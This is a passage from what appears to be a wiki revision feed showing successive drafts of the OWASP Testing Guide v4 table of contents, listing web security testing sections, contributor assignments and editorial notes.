&lt;br /&gt;
[[Testing for Cacheable HTTPS Response (OTG-CRYPST-004)| 4.10.4 Testing for Cacheable HTTPS Response (OTG-CRYPST-004)]]&lt;br /&gt;
&lt;br /&gt;
[[Test Cache Directives (OTG-CRYPST-005)|4.10.5 Test Cache Directives (OTG-CRYPST-005)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)|4.10.6 Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|4.10.7 Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)]]&lt;br /&gt;
&lt;br /&gt;
[[Test Cryptographic Key Management (OTG-CRYPST-008)|4.10.8 Test Cryptographic Key Management (OTG-CRYPST-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Logging|'''4.11 Logging''']] Not convinced Logging should be included as it requires access to logs to test&lt;br /&gt;
&lt;br /&gt;
[[Test time synchronisation (OTG-LOG-001)|4.11.1 Test time synchronisation (OTG-LOG-001) ]] formerly &amp;quot;Incorrect time&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Test user-viewable log of authentication events (OTG-LOG-002)|4.11.2 Test user-viewable log of authentication events (OTG-LOG-002)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for business logic   (OWASP-BL-001)|'''4.12 Business Logic Testing  (OWASP-BL-001)''']] [To review--&amp;gt; David Fern]&lt;br /&gt;
Business Logic&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Test business logic data validation (OTG-BUSLOGIC-001)|4.12.1 Test business logic data validation (OTG-BUSLOGIC-001)]] [New!] NOTE MAT: to discuss this section&lt;br /&gt;
&lt;br /&gt;
[[Test Ability to forge requests (OTG-BUSLOGIC-002)|4.12.2 Test Ability to forge requests (OTG-BUSLOGIC-002)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test integrity checks (OTG-BUSLOGIC-003)|4.12.3 Test integrity checks (OTG-BUSLOGIC-003)]] (e.g. overwriting updates) [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test tamper evidence (OTG-BUSLOGIC-004)|4.12.4 Test tamper evidence (OTG-BUSLOGIC-004)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)|4.12.5 Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test size of request limits (OTG-BUSLOGIC-006)|4.12.6 Test size of request limits (OTG-BUSLOGIC-006)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test number of times a function can be used limits (OTG-BUSLOGIC-007)|4.12.7 Test number of times a function can be used limits (OTG-BUSLOGIC-002)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test bypass of correct sequence (OTG-BUSLOGIC-008)|4.12.8 Test bypass of correct sequence (OTG-BUSLOGIC-008)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test self-hosted payment cardholder data processing (OTG-BUSLOGIC-009)|4.12.9 Test self-hosted payment cardholder data processing (OTG-BUSLOGIC-009)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test security incident reporting information (OTG-BUSLOGIC-010)|4.12.10 Test security incident reporting information (OTG-BUSLOGIC-010)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test defenses against application mis-use (OTG-BUSLOGIC-011)|4.12.11 Test defenses against application mis-use (OTG-BUSLOGIC-011)]] [New!]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Denial of Service|'''4.13 Denial of Service''']]&lt;br /&gt;
&lt;br /&gt;
[[Test Regular expression DoS (OTG-DOS-001)| 4.13.1 Test Regular expression DoS (OTG-DOS-001)]] [New!] note: to understand better&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Test XML DoS (OTG-DOS-002)| 4.13.2 Test XML DoS (OTG-DOS-002)]] [New! - Andrew Muller]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Captcha (OWASP-AT-012)|4.13.3 Testing for CAPTCHA (OTG-DOS-003)]] formerly &amp;quot;Testing for CAPTCHA (OWASP-AT-012)&amp;quot; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Web Service (XML Interpreter)|'''4.14 Web Service Testing''']] [Tom Eston] &lt;br /&gt;
&lt;br /&gt;
[[Scoping a Web Service Test (OWASP-WS-001)|4.14.1 Scoping a Web Service Test (OTG-WEBSVC-001)]] formerly &amp;quot;Scoping a Web Service Test (OWASP-WS-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Information Gathering (OWASP-WS-002)|4.14.2 WS Information Gathering (OTG-WEBSVC-002)]] formerly &amp;quot;WS Information Gathering (OWASP-WS-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Authentication Testing (OWASP-WS-003)|4.14.3 WS Authentication Testing (OTG-WEBSVC-003)]] formerly &amp;quot;WS Authentication Testing (OWASP-WS-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Management Interface Testing (OWASP-WS-004)|4.14.4 WS Management Interface Testing (OTG-WEBSVC-004)]] formerly &amp;quot;WS Management Interface Testing (OWASP-WS-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Weak XML Structure Testing (OWASP-WS-005)|4.14.5 Weak XML Structure Testing (OTG-WEBSVC-005)]] formerly &amp;quot;Weak XML Structure Testing (OWASP-WS-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[XML Content-Level Testing (OWASP-WS-006)|4.14.6 XML Content-Level Testing (OTG-WEBSVC-006)]] formerly &amp;quot;XML Content-Level Testing (OWASP-WS-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS HTTP GET Parameters/REST Testing (OWASP-WS-007)|4.14.7 WS HTTP GET Parameters/REST Testing (OTG-WEBSVC-007)]] formerly &amp;quot;WS HTTP GET Parameters/REST Testing (OWASP-WS-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Naughty SOAP Attachment Testing (OWASP-WS-008)|4.14.8 WS Naughty SOAP Attachment Testing (OTG-WEBSVC-008)]] formerly &amp;quot;WS Naughty SOAP Attachment Testing (OWASP-WS-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Replay/MiTM Testing (OWASP-WS-009)|4.14.9 WS Replay/MiTM Testing (OTG-WEBSVC-009)]] formerly &amp;quot;WS Replay/MiTM Testing (OWASP-WS-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS BEPL Testing (OWASP-WS-010)|4.14.10 WS BEPL Testing (OTG-WEBSVC-010)]] formerly &amp;quot;WS BEPL Testing (OWASP-WS-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Client Side Testing|'''4.15 Client Side Testing''']] [New!] &lt;br /&gt;
&lt;br /&gt;
[[Testing for DOM-based Cross site scripting  (OWASP-DV-003)|4.15.1 Testing for DOM based Cross Site Scripting  (OTG-CLIENT-001)]] formerly &amp;quot;Testing for DOM based Cross Site Scripting  (OWASP-CS-001)&amp;quot; [Stefano Di Paola]&lt;br /&gt;
&lt;br /&gt;
[[Testing Cross Origin Resource Sharing (OWASP CS-002)|4.15.2 Testing Cross Origin Resource Sharing  (OTG-CLIENT-002)]] formerly &amp;quot;Testing for HTML5 (OWASP CS-002)&amp;quot; [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Cross site flashing (OWASP-DV-004)|4.15.3 Testing for Cross Site Flashing   (OTG-CLIENT-003)]] formerly &amp;quot;Testing for Cross Site Flashing   (OWASP-CS-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Clickjacking (OWASP-CS-004)|4.15.4 Testing for Clickjacking (OTG-CLIENT-004)]] formerly &amp;quot;Testing for Clickjacking (OWASP-CS-004)&amp;quot; [Davide Danelon]&lt;br /&gt;
&lt;br /&gt;
[[Testing WebSockets|4.15.5 WebSocket Testing (OTG-CLIENT-005)]] [Ryan Dewhurst]&lt;br /&gt;
&lt;br /&gt;
[[Testing Web Messaging|4.15.6 [Testing Web Messaging (OTG-CLIENT-006)]] [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
[[Testing Local Storage|4.15.7 Testing Local Storage (OTG-CLIENT-007)]] [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
[[Testing Sandboxed Iframes|4.15.8 Testing Sandboxed Iframes (OTG-CLIENT-008)]] [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[Writing Reports: value the real risk |5. Writing Reports: value the real risk ]]==&lt;br /&gt;
&lt;br /&gt;
[[How to value the real risk |5.1 How to value the real risk]] [To review--&amp;gt; Amro AlOlaqi]&lt;br /&gt;
&lt;br /&gt;
[[How to write the report of the testing |5.2 How to write the report of the testing]] [To review--&amp;gt; Amro AlOlaqi]&lt;br /&gt;
&lt;br /&gt;
==[[Appendix A: Testing Tools |Appendix A: Testing Tools ]]==&lt;br /&gt;
&lt;br /&gt;
* Black Box Testing Tools [To review--&amp;gt; Amro AlOlaqi]&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix B: Suggested Reading | Appendix B: Suggested Reading]]==&lt;br /&gt;
* Whitepapers [To review--&amp;gt; David Fern]&lt;br /&gt;
* Books [To review--&amp;gt; David Fern]&lt;br /&gt;
* Useful Websites [To review--&amp;gt; David Fern]&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix C: Fuzz Vectors | Appendix C: Fuzz Vectors]]==&lt;br /&gt;
&lt;br /&gt;
* Fuzz Categories [To review--&amp;gt; Amro AlOlaqi]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix D: Encoded Injection | Appendix D: Encoded Injection]]==&lt;br /&gt;
&lt;br /&gt;
[To review--&amp;gt; Amro AlOlaqi]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Testing Project]]&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v4_Table_of_Contents&amp;diff=135714</id>
		<title>OWASP Testing Guide v4 Table of Contents</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v4_Table_of_Contents&amp;diff=135714"/>
				<updated>2012-09-13T08:45:24Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&lt;br /&gt;
'''This is DRAFT of the table of content of the New Testing Guide v4.'''&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;You can download the stable version [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Back to the OWASP Testing Guide Project:&lt;br /&gt;
http://www.owasp.org/index.php/OWASP_Testing_Project&lt;br /&gt;
&lt;br /&gt;
'''Updated: 31st August 2012'''&lt;br /&gt;
&lt;br /&gt;
[[ OWTGv4 Contributors list|'''Contributors List]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
The following are the main improvements we have to realize: &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
(1) - Add new testing techniques and OWASP Top10 update: &amp;lt;br&amp;gt;&lt;br /&gt;
- Testing for HTTP Verb tampering&amp;lt;br&amp;gt;&lt;br /&gt;
- Testing for HTTP Parameter Pollutions&amp;lt;br&amp;gt;&lt;br /&gt;
- Testing for URL Redirection&amp;lt;br&amp;gt;&lt;br /&gt;
- Testing for Insecure Direct Object References&amp;lt;br&amp;gt;&lt;br /&gt;
- Testing for Insecure Cryptographic Storage&amp;lt;br&amp;gt;&lt;br /&gt;
- Testing for Failure to Restrict URL Access&amp;lt;br&amp;gt;&lt;br /&gt;
- Testing for Insufficient Transport Layer Protection&amp;lt;br&amp;gt;&lt;br /&gt;
- Testing for Unvalidated Redirects and Forwards.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
(2) - Review and improve all the sections in v3,&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
(3) - Create a more readable guide, eliminating some sections that are not&lt;br /&gt;
really useful, Rationalize some sections as Session Management Testing.&lt;br /&gt;
&lt;br /&gt;
(4) Pavol says: - add new opensource testing tools that appeared during last 3 years&lt;br /&gt;
(and are missing in the OWASP Testing Guide v3)&lt;br /&gt;
&lt;br /&gt;
- add few useful and life-scenarios of possible&lt;br /&gt;
vulnerabilities in Bussiness Logic Testing (many testers have no idea what&lt;br /&gt;
vulnerabilities in Business Logic exactly mean)&lt;br /&gt;
&lt;br /&gt;
- &amp;quot;Brute force testing&amp;quot; of &amp;quot;session ID&amp;quot; is missing in &amp;quot;Session Management&lt;br /&gt;
Testing&amp;quot;, describe other tools for Session ID entropy analysis&lt;br /&gt;
(e.g. Stompy)&lt;br /&gt;
&lt;br /&gt;
- in &amp;quot;Data Validation Testing&amp;quot; describe some basic obfuscation methods for&lt;br /&gt;
malicious code injection including the statements how it is possible to&lt;br /&gt;
detect it (web application obfuscation is quite succesfull in bypassing&lt;br /&gt;
many data validation controls)&lt;br /&gt;
&lt;br /&gt;
- split the phase Logout and Browser Cache Management&amp;quot; into two sections&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The following is a DRAFT of the Toc based on the feedback already received.&lt;br /&gt;
&lt;br /&gt;
== Table of Contents ==&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Foreword|Foreword by OWASP Chair]]== &lt;br /&gt;
[To review--&amp;gt; OWASP Chair]&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Frontispiece |1. Frontispiece]]== &lt;br /&gt;
[To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
'''[[Testing Guide Frontispiece|1.1 About the OWASP Testing Guide Project]]''' &lt;br /&gt;
[To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
'''[[About The Open Web Application Security Project|1.2 About The Open Web Application Security Project]]''' &lt;br /&gt;
[To review--&amp;gt; ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Introduction|2. Introduction]]==&lt;br /&gt;
&lt;br /&gt;
'''2.1 The OWASP Testing Project'''&lt;br /&gt;
&lt;br /&gt;
'''2.2 Principles of Testing'''&lt;br /&gt;
&lt;br /&gt;
'''2.3 Testing Techniques Explained''' &lt;br /&gt;
&lt;br /&gt;
2.4 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Requirements_Test_Derivation Security requirements test derivation],[https://www.owasp.org/index.php/Testing_Guide_Introduction#Functional_and_Non_Functional_Test_Requirements functional and non functional test requirements], and [https://www.owasp.org/index.php/Testing_Guide_Introduction#Test_Cases_Through_Use_and_Misuse_Cases test cases through use and misuse cases]&lt;br /&gt;
&lt;br /&gt;
2.5 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Test_Data_Analysis_and_Reporting Security test data analysis and reporting: root cause identification and business/role case test data reporting]&lt;br /&gt;
&lt;br /&gt;
==[[The OWASP Testing Framework|3. The OWASP Testing Framework]]==&lt;br /&gt;
&lt;br /&gt;
'''3.1. Overview'''&lt;br /&gt;
&lt;br /&gt;
'''3.2. Phase 1: Before Development Begins '''&lt;br /&gt;
&lt;br /&gt;
'''3.3. Phase 2: During Definition and Design'''&lt;br /&gt;
&lt;br /&gt;
'''3.4. Phase 3: During Development'''&lt;br /&gt;
&lt;br /&gt;
'''3.5. Phase 4: During Deployment'''&lt;br /&gt;
&lt;br /&gt;
'''3.6. Phase 5: Maintenance and Operations'''&lt;br /&gt;
&lt;br /&gt;
'''3.7. A Typical SDLC Testing Workflow '''&lt;br /&gt;
&lt;br /&gt;
==[[Web Application Penetration Testing |4. Web Application Penetration Testing ]]==&lt;br /&gt;
&lt;br /&gt;
[[Testing: Introduction and objectives|'''4.1 Introduction and Objectives''']] [To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
[[Testing Checklist| 4.1.1 Testing Checklist]] [To review at the end of brainstorming --&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
[[Testing: Information Gathering|'''4.2 Information Gathering ''']] [To review--&amp;gt; contributor here]&lt;br /&gt;
&lt;br /&gt;
[[Testing for configuration management|'''4.3 Configuration and Deploy Management Testing ''']]&lt;br /&gt;
&lt;br /&gt;
Infrastructure Configuration management weakness&amp;lt;br&amp;gt;&lt;br /&gt;
Application Configuration management weakness&amp;lt;br&amp;gt;&lt;br /&gt;
File extensions handling&amp;lt;br&amp;gt;&lt;br /&gt;
Old, backup and unreferenced files&amp;lt;br&amp;gt;&lt;br /&gt;
Access to Admin interfaces&amp;lt;br&amp;gt;&lt;br /&gt;
Bad HTTP Methods enabled, [new]&amp;lt;br&amp;gt;&lt;br /&gt;
Informative Error Messages&amp;lt;br&amp;gt;&lt;br /&gt;
Database credentials/connection strings available&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Testing for authentication|'''4.4 Authentication Testing ''']] &lt;br /&gt;
&lt;br /&gt;
Credentials transport over an unencrypted channel [Robert Winkel]&amp;lt;br&amp;gt;&lt;br /&gt;
User enumeration (also Guessable user account) [Robert Winkel]&amp;lt;br&amp;gt;&lt;br /&gt;
Default passwords [Robert Winkel]&amp;lt;br&amp;gt;&lt;br /&gt;
Weak lock out mechanism [New! - Robert Winkel] &amp;lt;br&amp;gt;&lt;br /&gt;
Account lockout DoS [New! - Robert Winkel]&amp;lt;br&amp;gt;&lt;br /&gt;
Bypassing authentication schema&amp;lt;br&amp;gt; &lt;br /&gt;
Vulnerable remember password [Robert Winkel]&amp;lt;br&amp;gt;&lt;br /&gt;
Browser cache weakness [New!]&amp;lt;br&amp;gt;&lt;br /&gt;
Weak password policy [New! - Robert Winkel]&amp;lt;br&amp;gt;&lt;br /&gt;
Weak username policy [New! - Robert Winkel]&amp;lt;br&amp;gt;&lt;br /&gt;
Weak security question/answer [New! - Robert Winkel]&amp;lt;br&amp;gt; &lt;br /&gt;
Failure to restrict access to authenticated resource [New!]&amp;lt;br&amp;gt; &lt;br /&gt;
Weak password change function [New! - Robert Winkel]&amp;lt;br&amp;gt;&lt;br /&gt;
Testing for CAPTCHA&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session Management|'''4.5 Session Management Testing''']] &lt;br /&gt;
&lt;br /&gt;
Bypassing Session Management Schema &amp;lt;br&amp;gt;&lt;br /&gt;
Weak Session Token &amp;lt;br&amp;gt;&lt;br /&gt;
Cookies are set not ‘HTTP Only’, ‘Secure’,  and no time validity&amp;lt;br&amp;gt; &lt;br /&gt;
Exposed sensitive session variables &amp;lt;br&amp;gt;&lt;br /&gt;
CSRF &amp;lt;br&amp;gt;&lt;br /&gt;
Session passed over http [New!] &amp;lt;br&amp;gt;&lt;br /&gt;
Session token within URL [New!]&amp;lt;br&amp;gt;&lt;br /&gt;
Session Fixation &amp;lt;br&amp;gt;&lt;br /&gt;
Session token not removed on server after logout [New!]&amp;lt;br&amp;gt;&lt;br /&gt;
Persistent session token [New!]&amp;lt;br&amp;gt;&lt;br /&gt;
Session token not restrcited properly (such as domain or path not set properly) [New!]&amp;lt;br&amp;gt;&lt;br /&gt;
Logout function not properly implemented &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Authorization|'''4.6 Authorization Testing''']] &lt;br /&gt;
&lt;br /&gt;
Bypassing authorization schema &amp;lt;br&amp;gt;&lt;br /&gt;
Directory traversal/file include [Juan Galiana] &amp;lt;br&amp;gt; &lt;br /&gt;
Privilege Escalation&amp;lt;br&amp;gt;&lt;br /&gt;
Insecure Direct Object References &amp;lt;br&amp;gt;&lt;br /&gt;
Failure to Restrict access to authorized resource [New!]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Testing for business logic   (OWASP-BL-001)|'''4.7 Business Logic Testing  (OWASP-BL-001)''']] [To review--&amp;gt; contributor here]&lt;br /&gt;
Business Logic&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Data Validation|'''4.8 Data Validation Testing''']] &lt;br /&gt;
&lt;br /&gt;
Reflected XSS &amp;lt;br&amp;gt;&lt;br /&gt;
Stored XSS &amp;lt;br&amp;gt;&lt;br /&gt;
HTTP Verb Tampering [Brad Causey]&amp;lt;br&amp;gt; &lt;br /&gt;
HTTP Parameter pollution [Brad Causey]&amp;lt;br&amp;gt;&lt;br /&gt;
Unvalidated Redirects and Forwards [Brad Causey]&amp;lt;br&amp;gt; &lt;br /&gt;
SQL Injection [Brad Causey]&amp;lt;br&amp;gt;&lt;br /&gt;
LDAP Injection &amp;lt;br&amp;gt;&lt;br /&gt;
ORM Injection &amp;lt;br&amp;gt;&lt;br /&gt;
XML Injection &amp;lt;br&amp;gt;&lt;br /&gt;
SSI Injection &amp;lt;br&amp;gt;&lt;br /&gt;
XPath Injection &amp;lt;br&amp;gt;&lt;br /&gt;
SOAP Injection &amp;lt;br&amp;gt;&lt;br /&gt;
IMAP/SMTP Injection &amp;lt;br&amp;gt;&lt;br /&gt;
Code Injection &amp;lt;br&amp;gt;&lt;br /&gt;
OS Commanding [Juan Galiana]&amp;lt;br&amp;gt;&lt;br /&gt;
Buffer overflow &amp;lt;br&amp;gt;&lt;br /&gt;
Incubated vulnerability &amp;lt;br&amp;gt; &lt;br /&gt;
HTTP Splitting/Smuggling [Juan Galiana]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Data Encryption (New!)]]&lt;br /&gt;
&lt;br /&gt;
Application did not use encryption &amp;lt;br&amp;gt;&lt;br /&gt;
Weak SSL/TSL Ciphers, Insufficient &amp;lt;br&amp;gt;&lt;br /&gt;
Transport Layer Protection&amp;lt;br&amp;gt;&lt;br /&gt;
Cacheable HTTPS Response&amp;lt;br&amp;gt;&lt;br /&gt;
Cache directives insecure&amp;lt;br&amp;gt;&lt;br /&gt;
Insecure Cryptographic Storage [mainly CR Guide]&amp;lt;br&amp;gt;&lt;br /&gt;
Sensitive information sent via unencrypted&lt;br /&gt;
channels &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[ XML Interpreter? (New!)]]&lt;br /&gt;
&lt;br /&gt;
Weak XML Structure&lt;br /&gt;
XML content-level&lt;br /&gt;
WS HTTP GET parameters/REST&lt;br /&gt;
WS Naughty SOAP attachments&lt;br /&gt;
WS Replay Testing&lt;br /&gt;
&lt;br /&gt;
[[ Client Side Testing (New!) ]]&lt;br /&gt;
&lt;br /&gt;
DOM XSS&amp;lt;br&amp;gt;&lt;br /&gt;
HTML5 [Juan Galiana]&amp;lt;br/&amp;gt;&lt;br /&gt;
Cross Site Flashing&amp;lt;br&amp;gt;&lt;br /&gt;
ClickHijacking&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==[[Writing Reports: value the real risk |5. Writing Reports: value the real risk ]]==&lt;br /&gt;
&lt;br /&gt;
[[How to value the real risk |5.1 How to value the real risk]] [To review--&amp;gt; contributor here]&lt;br /&gt;
&lt;br /&gt;
[[How to write the report of the testing |5.2 How to write the report of the testing]] [To review--&amp;gt; contributor here]&lt;br /&gt;
&lt;br /&gt;
==[[Appendix A: Testing Tools |Appendix A: Testing Tools ]]==&lt;br /&gt;
&lt;br /&gt;
* Black Box Testing Tools [To review--&amp;gt; Amro. We need only tools fo webapp testing]&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix B: Suggested Reading | Appendix B: Suggested Reading]]==&lt;br /&gt;
* Whitepapers [To review--&amp;gt; contributor here]&lt;br /&gt;
* Books [To review--&amp;gt; contributor here]&lt;br /&gt;
* Useful Websites [To review--&amp;gt; contributor here]&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix C: Fuzz Vectors | Appendix C: Fuzz Vectors]]==&lt;br /&gt;
&lt;br /&gt;
* Fuzz Categories [To review--&amp;gt; contributor here]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix D: Encoded Injection | Appendix D: Encoded Injection]]==&lt;br /&gt;
&lt;br /&gt;
[To review--&amp;gt; contributor here]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Testing Project]]&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v4_Table_of_Contents&amp;diff=135713</id>
		<title>OWASP Testing Guide v4 Table of Contents</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v4_Table_of_Contents&amp;diff=135713"/>
				<updated>2012-09-13T08:42:57Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&lt;br /&gt;
'''This is DRAFT of the table of content of the New Testing Guide v4.'''&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;You can download the stable version [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Back to the OWASP Testing Guide Project:&lt;br /&gt;
http://www.owasp.org/index.php/OWASP_Testing_Project&lt;br /&gt;
&lt;br /&gt;
'''Updated: 31st August 2012'''&lt;br /&gt;
&lt;br /&gt;
[[ OWTGv4 Contributors list|'''Contributors List]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
The following are the main improvements we have to realize: &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
(1) - Add new testing techniques and OWASP Top10 update: &amp;lt;br&amp;gt;&lt;br /&gt;
- Testing for HTTP Verb tampering&amp;lt;br&amp;gt;&lt;br /&gt;
- Testing for HTTP Parameter Pollutions&amp;lt;br&amp;gt;&lt;br /&gt;
- Testing for URL Redirection&amp;lt;br&amp;gt;&lt;br /&gt;
- Testing for Insecure Direct Object References&amp;lt;br&amp;gt;&lt;br /&gt;
- Testing for Insecure Cryptographic Storage&amp;lt;br&amp;gt;&lt;br /&gt;
- Testing for Failure to Restrict URL Access&amp;lt;br&amp;gt;&lt;br /&gt;
- Testing for Insufficient Transport Layer Protection&amp;lt;br&amp;gt;&lt;br /&gt;
- Testing for Unvalidated Redirects and Forwards.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
(2) - Review and improve all the sections in v3,&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
(3) - Create a more readable guide, eliminating some sections that are not&lt;br /&gt;
really useful, Rationalize some sections as Session Management Testing.&lt;br /&gt;
&lt;br /&gt;
(4) Pavol says: - add new opensource testing tools that appeared during last 3 years&lt;br /&gt;
(and are missing in the OWASP Testing Guide v3)&lt;br /&gt;
&lt;br /&gt;
- add few useful and life-scenarios of possible&lt;br /&gt;
vulnerabilities in Bussiness Logic Testing (many testers have no idea what&lt;br /&gt;
vulnerabilities in Business Logic exactly mean)&lt;br /&gt;
&lt;br /&gt;
- &amp;quot;Brute force testing&amp;quot; of &amp;quot;session ID&amp;quot; is missing in &amp;quot;Session Management&lt;br /&gt;
Testing&amp;quot;, describe other tools for Session ID entropy analysis&lt;br /&gt;
(e.g. Stompy)&lt;br /&gt;
&lt;br /&gt;
- in &amp;quot;Data Validation Testing&amp;quot; describe some basic obfuscation methods for&lt;br /&gt;
malicious code injection including the statements how it is possible to&lt;br /&gt;
detect it (web application obfuscation is quite succesfull in bypassing&lt;br /&gt;
many data validation controls)&lt;br /&gt;
&lt;br /&gt;
- split the phase Logout and Browser Cache Management&amp;quot; into two sections&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The following is a DRAFT of the Toc based on the feedback already received.&lt;br /&gt;
&lt;br /&gt;
== Table of Contents ==&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Foreword|Foreword by OWASP Chair]]== &lt;br /&gt;
[To review--&amp;gt; OWASP Chair]&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Frontispiece |1. Frontispiece]]== &lt;br /&gt;
[To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
'''[[Testing Guide Frontispiece|1.1 About the OWASP Testing Guide Project]]''' &lt;br /&gt;
[To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
'''[[About The Open Web Application Security Project|1.2 About The Open Web Application Security Project]]''' &lt;br /&gt;
[To review--&amp;gt; ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Introduction|2. Introduction]]==&lt;br /&gt;
&lt;br /&gt;
'''2.1 The OWASP Testing Project'''&lt;br /&gt;
&lt;br /&gt;
'''2.2 Principles of Testing'''&lt;br /&gt;
&lt;br /&gt;
'''2.3 Testing Techniques Explained''' &lt;br /&gt;
&lt;br /&gt;
